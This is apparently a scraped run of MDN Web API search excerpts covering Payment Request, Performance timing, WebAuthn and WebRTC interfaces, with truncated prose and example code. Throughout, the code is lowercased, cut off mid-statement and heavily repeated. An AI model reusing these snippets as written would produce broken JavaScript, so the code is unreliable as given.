...thodname === "https://apple.com/apple-pay") { const servicefeeinfo = calculateservicefee(event.methoddetails); object.assign(detailsupdate, servicefeeinfo); } event.updatewith(detailsupdate); }, false); this begins by looking at the event's methodname property; if that indicates that the user is trying to use apple pay, we pass the methoddetails into a function called calculateservicefee(), which we might create to take the information about the transaction, such as the underlying credit card being used to service the apple pay request, and compute and return an paymentdetailsupdate object that specifies changes to be applied to the paymentrequest in order to add any service fees that the payment method might require.
PaymentRequest.shippingAddress - Web APIs
}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shi...
...please contribute data for "api.paymentrequest.shippingaddress" (depth: 1) to the mdn compatibility data repository.
PaymentRequest.shippingOption - Web APIs
it is initially null by when no "selected" shipping options are provided.
... const request = new paymentrequest(methoddata, details, options); // async update to details request.onshippingaddresschange = ev => { ev.updatewith(checkshipping(request)); }; // sync update to the total request.onshippingoptionchange = ev => { const shippingoption = shippingoptions.find( option => option.id === request.id ); const newtotal = { currency: "usd", label: "total due", value: calculatenewtotal(shippingoption), }; ev.updatewith({ ...details, total: newtotal }); }; async function checkshipping(request) { try { const json = request.shippingaddress.tojson(); await ensurecanshipto(json); const { shippingoptions, total } = await calculateshipping(json); return { ...details, shippingoptions, total }; } catch (...
PaymentRequest.shippingType - Web APIs
the shippingtype read-only property of the paymentrequest interface returns one of "shipping", "delivery", "pickup", or null if one was not provided by the constructor.
... syntax var shippingtype = paymentrequest.shippingtype value one of "shipping", "delivery", "pickup", or null.
PaymentResponse.shippingOption - Web APIs
it calls updatedetails() to toggle the shipping method between "standard" and "express".
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingoption, resolve, reject) { var selectedshippingoption; var othershippingoption; if (shippingoption === 'standard') { selectedshippingoption = details.shippingoptions[0]; othershippingoption = details.shippingoptions[1]; details.total.amount.value = '55.00'; } else if (shippingoption === '...
Performance - Web APIs
performance.clearresourcetimings() removes all performance entries with a entrytype of "resource" from the browser's performance data buffer.
... performance.setresourcetimingbuffersize() sets the browser's resource timing buffer size to the specified number of "resource" type performance entry objects.
PerformanceLongTaskTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="...
...#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancelongtasktiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancelongtasktiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties performancelongtasktiming.attribution read only returns a sequence of taskattributiontiming instances.
PerformanceNavigationTiming.domComplete - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcomplete' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.domInteractive - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'dominteractive' in that specification.
PerformanceNavigationTiming.loadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventend' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventstart' in that specification.
PerformanceNavigationTiming.redirectCount - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'redirectcount' in that specification.
PerformanceNavigationTiming.type - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'type' in that specification.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventend' in that specification.
PerformanceNavigationTiming.unloadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.l...
...og("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other properties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventstart' in that specification.
PeformanceObserver.disconnect() - Web APIs
syntax performanceobserver.disconnect(); example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event // ...
... // disable additional performance events observer.disconnect(); } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'disconnect()' in that specification.
PerformanceResourceTiming.decodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged.
... if ("decodedbodysize" in perfentry) console.log("decodedbodysize = " + perfentry.decodedbodysize); else console.log("decodedbodysize = not supported"); if ("encodedbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { lo...
PerformanceResourceTiming.encodedBodySize - Web APIs
example the following example, the value of the size properties of all "resource" type events are logged.
... if ("decodedbodysize" in perfentry) console.log("decodedbodysize = " + perfentry.decodedbodysize); else console.log("decodedbodysize = not supported"); if ("encodedbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.leng...
PerformanceResourceTiming.transferSize - Web APIs
example the following example, the value of size properties of all "resource" type events are logged.
... if ("decodedbodysize" in perfentry) console.log("decodedbodysize = " + perfentry.decodedbodysize); else console.log("decodedbodysize = not supported"); if ("encodedbodysize" in perfentry) console.log("encodedbodysize = " + perfentry.encodedbodysize); else console.log("encodedbodysize = not supported"); if ("transfersize" in perfentry) console.log("transfersize = " + perfentry.transfersize); else console.log("transfersize = not supported"); } function check_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.leng...
PerformanceServerTiming - Web APIs
example given a server that sends the server-timing header, for example a node.js server like this: const http = require('http'); function requesthandler(request, response) { const headers = { 'server-timing': ` cache;desc="cache read";dur=23.2, db;dur=53, app;dur=47.2 `.replace(/\n/g, '') }; response.writehead(200, headers); response.write(''); return settimeout(_ => { response.end(); }, 1000) }; http.createserver(requesthandler).listen(3000).on('error', console.error); the performanceservertiming entries are now observable from javascript via the performanceresourcetiming.servertiming ...
...property: let entries = performance.getentriesbytype('resource'); console.log(entries[0].servertiming); // 0: performanceservertiming {name: "cache", duration: 23.2, description: "cache read"} // 1: performanceservertiming {name: "db", duration: 53, description: ""} // 2: performanceservertiming {name: "app", duration: 47.2, description: ""} specifications specification status comment server timingthe definition of 'performanceservertiming' in that specification.
Using the Performance API - Web APIs
function print_json() { var json; var o = document.getelementsbytagname("output")[0]; if (window.performance.tojson === undefined) { json = "window.performance.tojson() is not supported"; o.innerhtml += json + "<br>"; } else { var s; json = window.performance.tojson(); // print the performance object s = json.stringify(json); o.innerhtml = "<p>performance = " + s + "</p>"; // print the performance.timing and performance.navigation...
... objects var perf = json.parse(s); var timing = perf.timing; o.innerhtml += "<p>peformance.timing = " + json.stringify(timing) + "</p>"; var navigation = perf.navigation; o.innerhtml += "<p>peformance.navigation = " + json.stringify(navigation) + "</p>"; } } specifications the interfaces described in this document are defined in the high resolution time standard which has two levels: high-resolution time level 2; editors draft; work in progress high-resolution time; w3c recommendation 17 december 2012 interoperability as shown in the performance interface's browser compatibility table, most of the performance interfaces are broadly implemented by desktop browsers.
Performance API - Web APIs
performancemark an abstract interface for performance entries with an entry type of "mark".
... performancemeasure an abstract interface for performance entries with an entry type of "measure".
PointerEvent.PointerEvent() - Web APIs
pointertype — optional and defaulting to "", of type domstring, that sets the value of the instance's pointerevent.pointertype.
... example var moveevent = new pointerevent("pointermove"); var downevent = new pointerevent("pointerdown", {pointerid: 1, bubbles: true, cancelable: true, pointertype: "touch", width: 100, height: 100, isprimary: true }); ...
PopStateEvent - Web APIs
the popstate event as an example, a page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back(); // alerts "location: http://example.com/example...
....html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired when we activate that entry after the second call to history.back().
PromiseRejectionEvent.promise - Web APIs
examples this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
... window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
PromiseRejectionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,mon...
...aco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/promiserejectionevent" target="_top"><rect x="116" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">promiserejectionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor promiserejectionevent() creates a promiserejectionevent event, given the type of event (unhandledrejection or rejectionh...
PublicKeyCredential - Web APIs
var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; var clientextensionsresults = new...
... var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that s...
PublicKeyCredentialRequestOptions.rpId - Web APIs
for example, if you are browsing on foo.example.com, the rpid value may be "example.com" but not "bar.org" or "baz.example.com".
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications ...
PushManager.registrations() - Web APIs
example var req = navigator.push.registrations(); req.onsuccess = function(e) { if (req.result.length > 0) { for (var i = 0, l = req.result.length; i < l; i++) { console.log("existing registration", req.result[i].pushendpoint, req.result[i].version); } // reuse existing endpoints.
... var register = navigator.push.register(); register.onsuccess = function(e) { console.log("registered new endpoint", register.result); } } } specification specification status comment push api working draft defines the pushmanager interface.
RTCDTMFSender: tonechange event - Web APIs
examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
RTCDataChannel.label - Web APIs
var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); /* ...
... */ document.getelementbyid("channel-name").innerhtml = "<span class='channelname'>" + dc.label + "</span>"; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.label' in that specification.
RTCDataChannel: message event - Web APIs
dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDataChannel.send() - Web APIs
exceptions invalidstateerror since the data channel uses a separate transport channel from the media content, it must establish its own connection; if it hasn't finished doing so (that is, its readystate is "connecting"), this error occurs without sending or buffering the data.
... var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
RTCDtlsTransport.state - Web APIs
let pc = new rtcpeerconnection({ bundlepolicy: "max-bundle" }); /* ...
... */ function tallysenders(pc) { let results = { transportmissing: 0, connectionpending: 0, connected: 0, closed: 0, failed: 0, unknown: 0 }; let senderlist = pc.getsenders(); senderlist.foreach(sender => { let transport = sender.transport; if (!transport) { results.transportmissing++; } else { switch(transport.state) { case "new": case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; } note th...
RTCIceCandidate.address - Web APIs
to do this, configure the ice agent's ice transport policy using rtcconfiguration, like this: var rtcconfig = { iceservers: [ { urls: "turn:myturn.server.ip", username: "username", credential: "password" } ], icetransportpolicy: "relay" } by setting rtcconfiguration.icetransportpolicy to "relay", any host candidates (candidates where the ip address is the peer's own ip address) are left out of the pool of candidates, as are any other candidates which aren't relay candidates.
... usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the fifth field, "192.168.0.56" is the ip address in this candidate's a-line string.
RTCIceCandidate.protocol - Web APIs
usage notes here's an example candidate a-line from an ice transaction: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the third field, "udp", is the protocol type, indicating that the candidate would use the udp transport protocol.
... if (candidate.protocol == "tcp") { if (candidate.tcptype == "so") { adjustforsimultaneousopen(candidate); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.protocol' in that specification.
RTCIceCandidate.relatedAddress - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddress, is the dotted quad (for ipv4) or colon-delineated 64-bit address (for ipv6) immediately following the text "raddr", or "192.168.2.77".
... switch(candidate.type) { case "host": console.log("host candidate's ip address is " + candidate.ip); break; case "srflx": console.log("server reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "prflx": console.log("peer reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; } s...
RTCIceCandidate.relatedPort - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number immediately following the "rport" label on the a-line, or 32768.
... var ip = candidate.ip; var port = candidate.port; var relip = candidate.relatedaddress; var relport = candidate.relatedport; if (relip && relport) { console.log("candidate type '" + type + "' -- contact address: " + ip + " " + port + ", related address: " + relip + " " + relport); } else { console.log("host candidate address is " + ip + " " + port); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedport' in that specification.
RTCIceCandidate.usernameFragment - Web APIs
the read-only usernamefragment property on the rtcicecandidate interface is a string indicating the username fragment ("ufrag") that uniquely identifies a single ice interaction session.
... syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
RTCIceCandidateStats.deleted - Web APIs
window.setinterval(function() { mypeerconnection.getstats(null).then(stats => { let statsoutput = ""; stats.foreach(report => { if ((stats.type === "local-candidate" || stats.type === "remote.candidate") && !stats.deleted) { statsoutput += `<h2>report: ${report.type}</h3>\n<strong>id:</strong> ${report.id}<br>\n` + `<strong>timestamp:</strong> ${report.timestamp}<br>\n`; // now the statistics for this report; we intentially drop the ones we ...
... // sorted to the top above object.keys(report).foreach(statname => { if (statname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); }, 1000); specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.deleted' in that specification.
RTCIceCandidateStats.networkType - Web APIs
window.setinterval(function() { mypeerconnection.getstats(null).then(stats => { let statsoutput = ""; stats.foreach(report => { if ((stats.type === "local-candidate" || stats.type === "remote.candidate") && stats.networktype === "cellular") { statsoutput += `<h2>report: ${report.type}</h3>\n<strong>id:</strong> ${report.id}<br>\n` + `<strong>timestamp:</strong> ${report.timestamp}<br>\n`; // now the statistics for this report; we intentially dr...
...op the ones we // sorted to the top above object.keys(report).foreach(statname => { if (statname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); }, 1000); ...
RTCIceRole - Web APIs
values "controlling" the rtcicetransport object is serving as the controlling agent.
... "controlled" the transport is the controlled agent.
RTCIceServer.credential - Web APIs
logging into the turn server uses the username "webrtc" and the creative password "turnpassword".
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.credentialType - Web APIs
logging into the turn server will use the username "webrtc" and the creative password "turnpassword".
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
RTCIceServer.username - Web APIs
logging into the turn server will use the username "webrtc" and the creative password "turnpassword".
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
RTCIceTransport.component - Web APIs
syntax icecomponent = rtcicetransport.component; value a domstring whose value comes from the enumerated type rtcicecomponent: "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp).
... "rtcp" identifies an ice transport being used for rtcp, which is defined in rfc 3550, section 6.
RTCIceTransport: gatheringstatechange event - Web APIs
here, the addeventlistener() method is called to add a listener for gatheringstatechange events: pc.getsenders().foreach(sender => { sender.transport.icetransport.addeventlistener("gatheringstatechange", ev => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }, false); likewise, you can use the ongatheringstatechange event handler property: pc.getsenders().foreach(sender => { sender.transport.icetransport.ongatheringstatechange = ev...
... => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'gatheringstatechange' in that specification.
RTCIceTransport.onstatechange - Web APIs
example this snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored.
... var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification.
RTCIceTransport.role - Web APIs
the value must be one of those found in the enumerated type rtcicerole: "controlling" the rtcicetransport object is serving as the controlling agent.
... "controlled" the transport is the controlled agent.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
let icetransport = pc.getsenders[0].transport.icetransport; let localprotoelem = document.getelementbyid("local-protocol"); let remoteprotoelem = document.getelementbyid("remote-protocol"); icetransport.addeventlistener("selectedcandidatepairchange", ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); }, false) this can also be done by setting the onselectedcand...
... let icetransport = pc.getsenders[0].transport.icetransport; let localprotoelem = document.getelementbyid("local-protocol"); let remoteprotoelem = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'selectedcandidatepairchange' in that specification.
RTCInboundRtpStreamStats.qpSum - Web APIs
for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value is defined in rfc 6386: 19.2.
... function calculateaverageqp(stats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe defini...
RTCOutboundRtpStreamStats.qpSum - Web APIs
for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value is defined in rfc 6386: 19.2.
